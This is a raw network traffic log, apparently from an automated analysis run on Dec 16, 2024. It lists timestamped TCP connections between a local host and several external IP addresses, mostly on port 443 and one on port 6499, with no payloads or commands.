Dec 16, 2024 16:14:43.851455927 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.851485014 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.851504087 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.854769945 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.857619047 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.857639074 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.857681036 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.857688904 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.857717991 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.857726097 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.863939047 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.863959074 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.863987923 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.863997936 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.864027023 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.864046097 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.869621992 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.869646072 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.869679928 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.869689941 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.869718075 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.869740963 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.888534069 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.018435001 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.018465042 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.018518925 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.018546104 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.018568039 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.018609047 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.024920940 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.024945974 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.024992943 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.025024891 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.025041103 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.025069952 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.031939030 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.031963110 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.032016039 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.032025099 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.032053947 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.032082081 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.039256096 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.039277077 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.039334059 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.039341927 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.039386988 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.045109034 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.045130014 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.045178890 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.045186996 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.045229912 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.051146984 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.051167011 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.051212072 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.051218987 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.051239014 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.051265001 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.057462931 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.057497025 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.057528019 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.057535887 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.057569981 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.057590961 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.062999964 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.063030958 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.063072920 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.063088894 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.063103914 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.063225985 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.063961029 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.219508886 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.219549894 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.219599009 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.219634056 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.219657898 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.219676971 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.226694107 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.226733923 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.226771116 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.226797104 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.226824999 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.226841927 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.233437061 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.233468056 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.233508110 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.233536959 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.233563900 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.233581066 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.239522934 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.239562988 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.239618063 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.239638090 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.239665985 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.239686012 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.245841026 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.245872021 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.245907068 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.245927095 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.245946884 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.245976925 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.250688076 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.250713110 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.250761986 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.250782013 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.250858068 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.257189989 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.257216930 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.257262945 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.257296085 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.257309914 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.257488966 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.263328075 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.263355017 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.263387918 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.263406038 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.263427973 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.263451099 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.269510984 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.413039923 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.413060904 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.413127899 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:44.413132906 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.413167953 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.421410084 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:44.672111988 CET	49803	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:44.672151089 CET	443	49803	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:44.672421932 CET	49803	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:44.674690962 CET	49803	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:44.674705029 CET	443	49803	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:45.838623047 CET	443	49777	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:45.838713884 CET	443	49777	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:45.838933945 CET	49777	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:45.839399099 CET	443	49776	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:45.839483023 CET	443	49776	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:45.840399981 CET	49776	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:46.310363054 CET	443	49803	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:46.310535908 CET	49803	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:46.325464010 CET	49803	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:46.325490952 CET	443	49803	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:46.325812101 CET	443	49803	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:46.342221022 CET	49803	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:46.383327007 CET	443	49803	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:46.692472935 CET	443	49778	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:46.692606926 CET	443	49778	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:46.692655087 CET	49778	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:46.693500042 CET	443	49779	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:46.693583965 CET	443	49779	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:46.693627119 CET	49779	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:48.199470043 CET	49777	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:48.199482918 CET	49776	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:48.199498892 CET	443	49777	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:48.199512005 CET	443	49776	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:48.212706089 CET	443	49803	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:48.212833881 CET	443	49803	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:48.212918997 CET	49803	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:48.222520113 CET	49803	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:54.181166887 CET	49779	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:54.181166887 CET	49778	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:54.181188107 CET	443	49779	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:54.181193113 CET	443	49778	172.64.41.3	192.168.2.4
Dec 16, 2024 16:15:07.865411043 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:07.985953093 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:07.986166954 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:07.986166954 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:08.105947971 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:08.868247986 CET	49724	80	192.168.2.4	199.232.210.172
Dec 16, 2024 16:15:08.988652945 CET	80	49724	199.232.210.172	192.168.2.4
Dec 16, 2024 16:15:08.988722086 CET	49724	80	192.168.2.4	199.232.210.172
Dec 16, 2024 16:15:09.213206053 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:09.254033089 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:09.378746033 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:09.499003887 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:09.759063959 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:09.770807028 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:09.890564919 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.168643951 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.168658972 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.168668985 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.168678045 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.168689966 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.168740034 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.168765068 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.168766975 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.168776989 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.168786049 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.168831110 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.168831110 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.176311970 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.176449060 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.176505089 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.184353113 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.184799910 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.184879065 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.288626909 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.333836079 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.360003948 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.360227108 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.360281944 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.362409115 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.363554955 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.363626957 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.370893002 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.371218920 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.371269941 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.378701925 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.378909111 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.379117966 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.386549950 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.386652946 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.386967897 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.394539118 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.394701958 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.394831896 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.402667999 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.402937889 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.403012991 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.411092043 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.411331892 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.411381006 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.419306040 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.419501066 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.419640064 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.426654100 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.426831007 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.426878929 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.434712887 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.434832096 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.435034037 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.455095053 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.455341101 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.455408096 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.459068060 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.508147955 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.551978111 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.551994085 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.552110910 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.555876970 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.557368994 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.557415009 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.557959080 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.565445900 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.565563917 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.565606117 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.573610067 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.573645115 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.573659897 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.581110954 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.581163883 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.583005905 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.588807106 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.589643955 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.589720011 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.596358061 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.596412897 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.596441031 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.601222992 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.601306915 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.601391077 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.606039047 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.606131077 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.606718063 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.610907078 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.610996962 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.611160040 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.615789890 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.615860939 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.616801977 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.620626926 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.620704889 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.621859074 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.625657082 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.625761986 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.625807047 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.630316019 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.630414009 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.630464077 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.636744976 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.636820078 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.636832952 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.640064955 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.640197039 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.640276909 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.645472050 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.645540953 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.645950079 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.649755955 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.649832964 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.649833918 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.654521942 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.654603958 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.654623032 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.659359932 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.659410954 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.659413099 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.672012091 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.672059059 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.672132015 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.674484968 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.674609900 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.674668074 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.679240942 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.679281950 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.679297924 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.684045076 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.684139013 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.743891954 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.743941069 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.744008064 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.746339083 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.746634007 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.746865034 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.750880003 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.752561092 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.752655983 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.752671003 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.757168055 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.757342100 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.757952929 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.761720896 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.761817932 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.761821032 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.765863895 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.765959024 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.765995979 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.770133972 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.770242929 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.770248890 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.773787022 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.773855925 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.773927927 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.779211044 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.779287100 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.779458046 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.781332016 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:10.781466961 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:10.781718016 CET	6499	49831	162.213.210.250	192.168.2.4
